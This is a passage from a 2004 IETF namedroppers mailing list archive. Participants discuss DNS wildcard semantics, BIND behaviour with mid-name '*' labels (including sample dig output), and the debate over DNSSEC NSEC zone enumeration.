explanation, >that's OK, provided they're prepared to accept the answer. If they're >not prepared to simply accept a yes/no answer because it isn't the >answer they hoped for, then they have to start to understand the >mechanism. If they refuse that, they're idiots, and we just ignore >them, what they're doing won't work, can't work, and why should we care? > >It is kind of like if I ask my mechanic "can my car do 200 kph in >reverse?" (S)he says "no". If I'm prepared to simply accept >that answer, fine. On the other hand, if I start to argue that >the car does 200 kph in the forward direction, so the engine can >clearly manage that speed, so it must also be able to do 200 kph >in reverse, and I refuse to have anything about gear ratios or >whatever explained to me, then what should be done? Limit the >max forward speed to what can be obtained in reverse by fiat? >Because that's exactly what is being proposed here for the DNS. > >kre > > >-- >to unsubscribe send a message to namedroppers-request@ops.ietf.org with >the word 'unsubscribe' in a single line as the message text body. >archive: <http://ops.ietf.org/lists/namedroppers/> > > > > -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: wild cards Date: Sun, 05 Sep 2004 13:12:00 +0100 Lines: 36 Sender: owner-namedroppers@ops.ietf.org References: <a06020410bd5d2ac62262@[192.168.1.100]> <a06020406bd5cd75cb8dd@[192.168.1.100]> <a06020407bd5b9bc9d506@[192.168.1.100]> <25125.1094132929@munnari.OZ.AU> <22959.1094153870@munnari.OZ.AU> <14642.1094161213@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Sun Sep 05 14:27:19 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502) X-Accept-Language: en To: Robert Elz <kre@munnari.OZ.AU> In-Reply-To: <14642.1094161213@munnari.OZ.AU> X-Enigmail-Version: 0.84.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Robert Elz wrote: > I think it is important that we're clear that a '*' name is only a wildcard > when it is being used that way as part of the lookup algorithm. Otherwise > it is simply an ordinary domain name. > > When a server sees a '*' label in a zone file, there's no way it can tell > which of those two ways it will actually get used. It may presume it is > likely to be used as a wildcard, as if a wildcard is needed, it is there to > fill the role - but if no-one ever does a lookup of a non-existing name > (yeah - I know - not a likely assumption, but nevertheless) then it would > never be used as a wildcard - whereas if there are lookups for the literal > '*' it is being used as an ordinary domain name label. Is this really a distinction? If '*' is a wildcard, then it will match '*' just as well as anything else. So, if a server assumes it is always a wildcard, then it is never wrong, is it? So it isn't clear to me why it is important to make this distinction. Unless you are trying to handle the 'x.*' case by saying this, in which case I agree but I'm not sure its a helpful way to express it. Cheers, Ben. -- http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: wild cards Date: Mon, 06 Sep 2004 02:36:58 +0700 Lines: 32 Sender: owner-namedroppers@ops.ietf.org References: <413B0290.1090504@algroup.co.uk> <a06020410bd5d2ac62262@[192.168.1.100]> <a06020406bd5cd75cb8dd@[192.168.1.100]> <a06020407bd5b9bc9d506@[192.168.1.100]> <25125.1094132929@munnari.OZ.AU> <22959.1094153870@munnari.OZ.AU> <14642.1094161213@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Sun Sep 05 21:49:59 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Ben Laurie <ben@algroup.co.uk> In-Reply-To: <413B0290.1090504@algroup.co.uk> Precedence: bulk Date: Sun, 05 Sep 2004 13:12:00 +0100 From: Ben Laurie <ben@algroup.co.uk> Message-ID: <413B0290.1090504@algroup.co.uk> | Is this really a distinction? If '*' is a wildcard, then it will match | '*' just as well as anything else. So, if a server assumes it is always | a wildcard, then it is never wrong, is it? So it isn't clear to me why | it is important to make this distinction. It matters because of the way the lookup algorithm is defined. When a label is found by an exact match (well, a case independent exact match) a certain sequence of further actions takes place (including handling CNAME records, and delegations). On the other hand, when no match is found, then a check for a wildcard is made, different steps follow - which includes auto-match of all the remaining labels in the query, but doesn't include delegations, nor (currently) following of CNAME records. For better of worse, this is how it all is defined to work. What we're supposed to be doing is making it all clear. Burying this distinction, while an irrelevant one for most purposes, makes it almost impossible to be as clear as we need to be about how it all works. kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: more wild cards Date: Mon, 06 Sep 2004 03:22:45 +0700 Lines: 69 Sender: owner-namedroppers@ops.ietf.org References: <413920C7.3000809@daimlerchrysler.com> <a06020407bd5ce15f1169@[192.168.1.100]> <a06020401bd5c29d82510@[192.168.1.100]> <27579.1094135350@munnari.OZ.AU> <3659.1094156279@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Sun Sep 05 22:29:44 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Kevin Darcy <kcd@daimlerchrysler.com> In-Reply-To: <413920C7.3000809@daimlerchrysler.com> Precedence: bulk Date: Fri, 03 Sep 2004 21:56:23 -0400 From: Kevin Darcy <kcd@daimlerchrysler.com> Message-ID: <413920C7.3000809@daimlerchrysler.com> | I think one major bit of "looseness" that needs to be addressed here is | that RFC 1034's Section 4.3.3 restricts the term "wildcard" to names | _beginning_ with an asterisk label, whereas the lookup algorithm of | Section 4.3.2 talks about "matching down, label by label", when to look | for an asterisk label, and what to do if one is found, without any | limitations on whether the asterisk label is the first one in an owner | name or not. Actually, this isn't as different as it appears to be. Remember that if the name a.b.c.d exists, then so do the names b.c.d.e c.d.e d.e and e. If any of a b c d or e is '*' then there is a name that begins with '*'. However, 4.3.3 talks of RR's owned by '*' - which is what is important for wildcards, and why names like a.*[.anything] in a zone are useless (ignoring the case where someone is doing a lookup for a qname containing a '*' label where those a.* names work just like any other name). If a.* is present in the zone then the '*' label (by virtue of this RR anyway) has no RR's attached to it - it is what we have come to call an empty non-terminal. The lookup algorithm finds the '*', matches its RR's (of which there are none) against the QTYPE, must fail to find anything, terminates the search, and returns an empty answer. For all practical purposes, that's exactly the same as returning a "no such name" error, whatever we wanted to do that caused the name lookup to be done is going to fail, as the data we wanted isn't there. If there's also a '* XX' RR (for any type XX) that one of course will exist, and do its wildcard thing, totally independently of the a.* record (the latter remaining useless). Note here it doesn't matter in the slightest what 'a' is, which is one good reason that names with multiple '*'s shouldn't exist - any name with anything to the left of the '*' is, for practical purposes, useless. But to re-iterate, all this assumed no queries involving '*' labels in the QNAME - as soon as we allow for those (and 1034 clearly does) then we have to also allow for a query of foo.*.example.com (which could be implemented using a foo.* label in the example.com zone) - and we also need to allow for "foo" to match using a wildcard (which might be *.* in the example.com zone). What's more, we also should allow the '*' sub-domain to be delegated, leading to '* NS' records in example.com and '*.example.com. SOA' in the delegated zone file. kre ps: I know I said I was going to remain silent - but it has been a couple of days now, and while we've had those couple of comments that I have now just replied to, we still haven't had any opinions on what (if anything) anyone really wants to change about '*' labels and where they're permitted. My opinion remains that no changes are needed - just *much* better explanations (or at least, ones that don't require painstaking analysis of the details of the algorithm - what's there now is actually reasonably precise, but it takes very careful reading to extract it). Namedroppers isn't usually known for people being reticent about expressing opinions, what has happened to everyone? (Yes, I know it is a holiday weekend in the US, but the whole net isn't there...) -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: dictionary attack on nameservers Date: Mon, 06 Sep 2004 10:35:22 +0100 Lines: 62 Sender: owner-namedroppers@ops.ietf.org References: <20040728190530.GA22758@atoom.net> <ch44lt$1ro$1@sf1.isc.org> <g31xhkeg6k.fsf@sa.vix.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Mon Sep 06 11:53:50 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502) X-Accept-Language: en To: Paul Vixie <vixie@vix.com> In-Reply-To: <g31xhkeg6k.fsf@sa.vix.com> X-Enigmail-Version: 0.84.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Paul Vixie wrote: > "Olaf M. Kolkman" <olaf@ripe.net> writes: >>I want to close this thread by giving every participant the >>opportunity to state their concluding argument in not more than 20 >>lines of text. >>... >>I am trying to get something sensible out of this that will allow us to >>go forward or, if needed, conclude, in a decent fashion. > > > 1: my observations are: > 2: > 3: - non-registry (SLD, et al) zone administrators are already > 4: hiding their sensitive DNS data, if any, behind split views > 5: > 6: - registry (mostly TLD) zone administrators have a competitive > 7: interest in name secrecy not shared by registrars/registrants I don't believe "competitive" is a correct characterisitaion for all registries, though it may be for some, and I'm not sure I agree that registrants do not share this interest, either. Certainly registrants register domains in order that a particular audience can see those domains, but that does not mean that all registrants want their domains to be visible to absolutely everyone. For example, I have just registered a domain in order to get email - if I want to receive email from you, then I'll tell you what it is. If I don't, I won't. Having it published doesn't help me achieve that. > 9: - load increases due to more difficult enumeration will be felt > 10: by enumeration victims and third parties, not just attackers > 11: > 12: my recommendations are: > 13: > 14: + ensure that NSEC is capable of covering a single name, so that > 15: a zone can use precomputed positive signatures and on-the-fly > 16: negative signatures, and let motivated/interested zone > 17: administrators add name secrecy by provisioning extra hardware. > 18: > 19: + consider other, more compact encodings for nonexistence-proof, > 20: which are easier to generate on-the-fly than single-name NSEC. Why are you only interested in on-the-fly proofs? If its to avoid (major) changes to the protocol, then there's at least one problem with this type of solution, which is that outsourced DNS servers would have to have a signing key capable of signing anything. Cheers, Ben. -- http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: "Olaf M. Kolkman" <olaf@ripe.net> Subject: Re: dictionary attack on nameservers Date: Mon, 6 Sep 2004 12:10:40 +0200 Organization: RIPE NCC Lines: 15 Sender: owner-namedroppers@ops.ietf.org References: <20040728190530.GA22758@atoom.net> <ch44lt$1ro$1@sf1.isc.org> <g31xhkeg6k.fsf@sa.vix.com> <413C2F5A.1040104@algroup.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-From: owner-namedroppers@ops.ietf.org Mon Sep 06 12:19:41 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org In-Reply-To: <413C2F5A.1040104@algroup.co.uk> X-Mailer: Sylpheed version 0.9.11 (GTK+ 1.2.10; i686-pc-linux-gnu) X-RIPE-Spam-Level: X-RIPE-Spam-Status: N 0.000000 / 0.0 / 0.0 / disabled X-RIPE-Signature: ec1a51c56f84781edc8487b991bbf713 Precedence: bulk I would like to conclude this thread. Please send your (about) 20 lines closing argument and try to refrain from discussing other persons summaries. -- Olaf -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: more wild cards Date: Mon, 06 Sep 2004 14:42:04 +0100 Lines: 32 Sender: owner-namedroppers@ops.ietf.org References: <413920C7.3000809@daimlerchrysler.com> <a06020407bd5ce15f1169@[192.168.1.100]> <a06020401bd5c29d82510@[192.168.1.100]> <27579.1094135350@munnari.OZ.AU> <3659.1094156279@munnari.OZ.AU> <18901.1094415765@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Kevin Darcy <kcd@daimlerchrysler.com>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Mon Sep 06 16:00:20 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502) X-Accept-Language: en To: Robert Elz <kre@munnari.OZ.AU> In-Reply-To: <18901.1094415765@munnari.OZ.AU> X-Enigmail-Version: 0.84.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Robert Elz wrote: > ps: I know I said I was going to remain silent - but it has been a couple > of days now, and while we've had those couple of comments that I have now > just replied to, we still haven't had any opinions on what (if anything) > anyone really wants to change about '*' labels and where they're permitted. > My opinion remains that no changes are needed - just *much* better > explanations (or at least, ones that don't require painstaking analysis of > the details of the algorithm - what's there now is actually reasonably precise, > but it takes very careful reading to extract it). I'm not sure I understand it clearly enough to be sure whether it needs changes - perhaps that would be better done once it has been explained? What I want to know is: what does DNSSEC have to demonstrate to be sure it has proved there's no wildcard match? Given the apparent lack of clarity, can we be sure we know it does that currently? Cheers, Ben. -- http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Danny Mayer <mayer@gis.net> Subject: Re: dictionary attack on nameservers Date: Mon, 06 Sep 2004 13:16:34 -0400 Lines: 30 Sender: owner-namedroppers@ops.ietf.org References: <g31xhkeg6k.fsf@sa.vix.com> <20040728190530.GA22758@atoom.net> <ch44lt$1ro$1@sf1.isc.org> <g31xhkeg6k.fsf@sa.vix.com> <413C2F5A.1040104@algroup.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Mon Sep 06 19:28:19 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: mayer@pop.gis.net X-Mailer: QUALCOMM Windows Eudora Version 4.3.1 To: Ben Laurie <ben@algroup.co.uk>,Paul Vixie <vixie@vix.com> In-Reply-To: <413C2F5A.1040104@algroup.co.uk> References: <g31xhkeg6k.fsf@sa.vix.com> <20040728190530.GA22758@atoom.net> <ch44lt$1ro$1@sf1.isc.org> <g31xhkeg6k.fsf@sa.vix.com> X-Rcpt-To: <namedroppers@ops.ietf.org> Precedence: bulk At 05:35 AM 9/6/2004, Ben Laurie wrote: >I don't believe "competitive" is a correct characterisitaion for all >registries, though it may be for some, and I'm not sure I agree that >registrants do not share this interest, either. Certainly registrants >register domains in order that a particular audience can see those >domains, but that does not mean that all registrants want their domains to >be visible to absolutely everyone. I'm curious. Why would they register a domain if they didn't want everyone to know about it? After all registering a domain means publish, make it public and provide a means to get there. There are other ways to provide directions to a site without registering it. >For example, I have just registered a domain in order to get email - if I >want to receive email from you, then I'll tell you what it is. If I don't, >I won't. Having it published doesn't help me achieve that. So don't register the domain. You can always just provide an IP address. Mail servers only use the domain name to find out where to deliver the mail. Danny -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: dictionary attack on nameservers Date: Mon, 06 Sep 2004 18:44:02 +0100 Lines: 22 Sender: owner-namedroppers@ops.ietf.org References: <g31xhkeg6k.fsf@sa.vix.com> <20040728190530.GA22758@atoom.net> <ch44lt$1ro$1@sf1.isc.org> <g31xhkeg6k.fsf@sa.vix.com> <4.3.1.2.20040906131149.051714d8@pop.gis.net> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: namedroppers@ops.ietf.org, Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Mon Sep 06 19:53:22 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Danny Mayer <mayer@gis.net>, Ben Laurie <ben@algroup.co.uk>, Paul Vixie <vixie@vix.com> In-Reply-To: <4.3.1.2.20040906131149.051714d8@pop.gis.net> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk --On 06 September 2004 13:16 -0400 Danny Mayer <mayer@gis.net> wrote: > I'm curious. Why would they register a domain if they didn't want > everyone to know about it? I have to agree with Olaf's comment that this discussion is becoming circular - this in particular has been covered at great length (from both directions) before. Whilst I'm always happy to discuss Nominet's policies etc. Olaf has made the point this is not / no longer the place to discuss the rationale behind it. Can I suggest we either take this off-list, or go dig up things from the archive, and provide closing statements/arguments as requested? Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Paul Vixie <paul@vix.com> Subject: Re: dictionary attack on nameservers Date: Mon, 06 Sep 2004 21:37:34 +0000 Lines: 30 Sender: owner-namedroppers@ops.ietf.org References: <ben@algroup.co.uk> X-From: owner-namedroppers@ops.ietf.org Mon Sep 06 23:51:45 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org In-Reply-To: Message from Ben Laurie <ben@algroup.co.uk> of "Mon, 06 Sep 2004 10:35:22 +0100." <413C2F5A.1040104@algroup.co.uk> X-Mailer: MH-E 7.4; nmh 1.0.4; GNU Emacs 21.3.1 Precedence: bulk olaf said: > > > I want to close this thread by giving every participant the > > > opportunity to state their concluding argument in not more than 20 > > > lines of text. i said: > > 1: my observations are: > > ... > > 12: my recommendations are: > > ... > > 20: ... someone else said: > [whatever] but i'm not debating these topics. olaf asked me to state my concluding argument in 20 lines or less, which i've done. anyone who has a different view, whether outright opposed to what i said or completely independent, ought to give olaf 20 lines (or fewer) of text. as tempting as it is to stand my ground and fight for what i believe in, that time, for nsec++, is over. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Daniel Roesen <dr@cluenet.de> Subject: Re: wild cards Date: Tue, 7 Sep 2004 01:40:10 +0200 Lines: 29 Sender: owner-namedroppers@ops.ietf.org References: <a06020407bd5b9bc9d506@[192.168.1.100]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-From: owner-namedroppers@ops.ietf.org Tue Sep 07 01:48:43 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org Mail-Followup-To: namedroppers@ops.ietf.org Content-Disposition: inline In-Reply-To: <a06020407bd5b9bc9d506@[192.168.1.100]> User-Agent: Mutt/1.4.1i Precedence: bulk On Wed, Sep 01, 2004 at 11:56:47AM -0400, Edward Lewis wrote: > >Issue (4b): Whether or not "*" can be in the middle of a name. There > >was no discussion in the room on this one. The basic issue is that > >the draft goes to great length to talk about how this is handled. > >Later on, someone noticed that 1034 discourages this. It seems like BIND did change behaviour server-side when loading zones containing such wildcard constructs between 8 and 9. The SourceForge people got bitten by that: http://sourceforge.net/docman/display_doc.php?group_id=1&docid=2352 <cite> As of 2004-04-28 the CVS services will no longer function with the hostname of cvs.PROJECTNAME.sourceforge.net. You should change your CVS commands to use the host cvs.sourceforge.net [...]. This issue came about as a result of upgrading from BIND 8 to BIND 9 which doesn't allow for a wildcard in the middle of a hostname. </cite> Best regards, Daniel -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Mark Andrews <Mark_Andrews@isc.org> Subject: Re: wild cards Date: Tue, 07 Sep 2004 10:44:51 +1000 Lines: 165 Sender: owner-namedroppers@ops.ietf.org References: <20040906234010.GA12560@srv01.cluenet.de> X-From: owner-namedroppers@ops.ietf.org Tue Sep 07 02:54:57 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org Mail-Followup-To: namedroppers@ops.ietf.org In-reply-to: Your message of "Tue, 07 Sep 2004 01:40:10 +0200." <20040906234010.GA12560@srv01.cluenet.de> Precedence: bulk > On Wed, Sep 01, 2004 at 11:56:47AM -0400, Edward Lewis wrote: > > >Issue (4b): Whether or not "*" can be in the middle of a name. There > > >was no discussion in the room on this one. The basic issue is that > > >the draft goes to great length to talk about how this is handled. > > >Later on, someone noticed that 1034 discourages this. > > It seems like BIND did change behaviour server-side when loading zones > containing such wildcard constructs between 8 and 9. The SourceForge > people got bitten by that: > > http://sourceforge.net/docman/display_doc.php?group_id=1&docid=2352 > > <cite> > As of 2004-04-28 the CVS services will no longer function with the > hostname of cvs.PROJECTNAME.sourceforge.net. You should change your CVS > commands to use the host cvs.sourceforge.net [...]. This issue came > about as a result of upgrading from BIND 8 to BIND 9 which doesn't > allow for a wildcard in the middle of a hostname. > </cite> > > > Best regards, > Daniel > > -- > to unsubscribe send a message to namedroppers-request@ops.ietf.org with > the word 'unsubscribe' in a single line as the message text body. > archive: <http://ops.ietf.org/lists/namedroppers/> Strange as there has never been a test for this in the BIND 9. Stranger still as they work as you would expect them to work. NODATA responses for cvs.PROJECTNAME.sourceforge.net.example. It really sounds like they had a hacked version of BIND 8. Mark drugs# dig cvs.\*.sourceforge.net.example ; <<>> DiG 8.3 <<>> cvs.*.sourceforge.net.example ;; res options: init recurs defnam dnsrch ;; got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 38945 ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 2 ;; QUERY SECTION: ;; cvs.*.sourceforge.net.example, type = A, class = IN ;; ANSWER SECTION: cvs.*.sourceforge.net.example. 10S IN A 1.2.3.4 ;; AUTHORITY SECTION: example. 5M IN NS drugs.dv.isc.org. ;; ADDITIONAL SECTION: drugs.dv.isc.org. 1D IN A 192.168.191.236 drugs.dv.isc.org. 1D IN AAAA 2001:470:1f00:820:208:74ff:fe9f:eeae ;; Total query time: 1 msec ;; FROM: drugs.dv.isc.org to SERVER: 127.0.0.1 ;; WHEN: Tue Sep 7 10:23:15 2004 ;; MSG SIZE sent: 47 rcvd: 137 drugs# dig version.bind txt chaos +norec ; <<>> DiG 8.3 <<>> version.bind txt chaos +norec ;; res options: init defnam dnsrch ;; got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 33747 ;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0 ;; QUERY SECTION: ;; version.bind, type = TXT, class = CHAOS ;; ANSWER SECTION: version.bind. 0S CHAOS TXT "9.3.0rc4" ;; AUTHORITY SECTION: version.bind. 0S CHAOS NS version.bind. ;; Total query time: 1 msec ;; FROM: drugs.dv.isc.org to SERVER: 127.0.0.1 ;; WHEN: Tue Sep 7 10:23:54 2004 ;; MSG SIZE sent: 30 rcvd: 65 drugs# Restarting w/ BIND 9.2 drugs# dig cvs.\*.sourceforge.net.example ; <<>> DiG 8.3 <<>> cvs.*.sourceforge.net.example ;; res options: init recurs defnam dnsrch Sep 07 10:29:50.502 client 127.0.0.1#2194: query: cvs.*.sourceforge.net.example IN A ;; got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 61113 ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0 ;; QUERY SECTION: ;; cvs.*.sourceforge.net.example, type = A, class = IN ;; ANSWER SECTION: cvs.*.sourceforge.net.example. 10S IN A 1.2.3.4 ;; AUTHORITY SECTION: example. 5M IN NS drugs.dv.isc.org. ;; Total query time: 0 msec ;; FROM: drugs.dv.isc.org to SERVER: 127.0.0.1 ;; WHEN: Tue Sep 7 10:29:50 2004 ;; MSG SIZE sent: 47 rcvd: 93 drugs# dig version.bind txt chaos +norec ; <<>> DiG 8.3 <<>> version.bind txt chaos +norec ;; res options: init defnam dnsrch Sep 07 10:29:59.795 client 127.0.0.1#2903: query: version.bind CH TXT ;; got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 25799 ;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 ;; QUERY SECTION: ;; version.bind, type = TXT, class = CHAOS ;; ANSWER SECTION: version.bind. 0S CHAOS TXT "9.2.4rc8" ;; Total query time: 0 msec ;; FROM: drugs.dv.isc.org to SERVER: 127.0.0.1 ;; WHEN: Tue Sep 7 10:29:59 2004 ;; MSG SIZE sent: 30 rcvd: 51 drugs# dig cvs.PROJECTNAME.sourceforge.net.example ; <<>> DiG 8.3 <<>> cvs.PROJECTNAME.sourceforge.net.example ;; res options: init recurs defnam dnsrch Sep 07 10:34:00.453 client 127.0.0.1#3451: query: cvs.PROJECTNAME.sourceforge.net.example IN A ;; got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 44941 ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0 ;; QUERY SECTION: ;; cvs.PROJECTNAME.sourceforge.net.example, type = A, class = IN ;; AUTHORITY SECTION: example. 1m30s IN SOA localhost.dv.isc.org. marka.isc.org. ( 3721 ; serial 20M ; refresh 10M ; retry 4d4h ; expiry 1m30s ) ; minimum ;; Total query time: 1 msec ;; FROM: drugs.dv.isc.org to SERVER: 127.0.0.1 ;; WHEN: Tue Sep 7 10:34:00 2004 ;; MSG SIZE sent: 57 rcvd: 119 drugs# -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Mark Andrews <Mark_Andrews@isc.org> Subject: Re: wild cards Date: Tue, 07 Sep 2004 11:13:42 +1000 Lines: 52 Sender: owner-namedroppers@ops.ietf.org References: <200409070044.i870ipf3084042@drugs.dv.isc.org> X-From: owner-namedroppers@ops.ietf.org Tue Sep 07 03:19:10 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org Mail-Followup-To: namedroppers@ops.ietf.org In-reply-to: Your message of "Tue, 07 Sep 2004 10:44:51 +1000." <200409070044.i870ipf3084042@drugs.dv.isc.org> Precedence: bulk > > > On Wed, Sep 01, 2004 at 11:56:47AM -0400, Edward Lewis wrote: > > > >Issue (4b): Whether or not "*" can be in the middle of a name. There > > > >was no discussion in the room on this one. The basic issue is that > > > >the draft goes to great length to talk about how this is handled. > > > >Later on, someone noticed that 1034 discourages this. > > > > It seems like BIND did change behaviour server-side when loading zones > > containing such wildcard constructs between 8 and 9. The SourceForge > > people got bitten by that: > > > > http://sourceforge.net/docman/display_doc.php?group_id=1&docid=2352 > > > > <cite> > > As of 2004-04-28 the CVS services will no longer function with the > > hostname of cvs.PROJECTNAME.sourceforge.net. You should change your CVS > > commands to use the host cvs.sourceforge.net [...]. This issue came > > about as a result of upgrading from BIND 8 to BIND 9 which doesn't > > allow for a wildcard in the middle of a hostname. > > </cite> > > > > > > Best regards, > > Daniel > > > > -- > > to unsubscribe send a message to namedroppers-request@ops.ietf.org with > > the word 'unsubscribe' in a single line as the message text body. > > archive: <http://ops.ietf.org/lists/namedroppers/> > > Strange as there has never been a test for this in the BIND 9. > Stranger still as they work as you would expect them to work. > NODATA responses for cvs.PROJECTNAME.sourceforge.net.example. > > It really sounds like they had a hacked version of BIND 8. Or on further investigation old BIND 8 versions may have matched a single label to the "*". nlookup() has assumptions that are not met when there is names below the wildcard. > Mark -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: dictionary attack on nameservers Date: Tue, 07 Sep 2004 14:42:03 +0100 Lines: 51 Sender: owner-namedroppers@ops.ietf.org References: <20040728190530.GA22758@atoom.net> <20040901111452.7276c683.olaf@ripe.net> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Tue Sep 07 15:57:41 2004 Return-path: 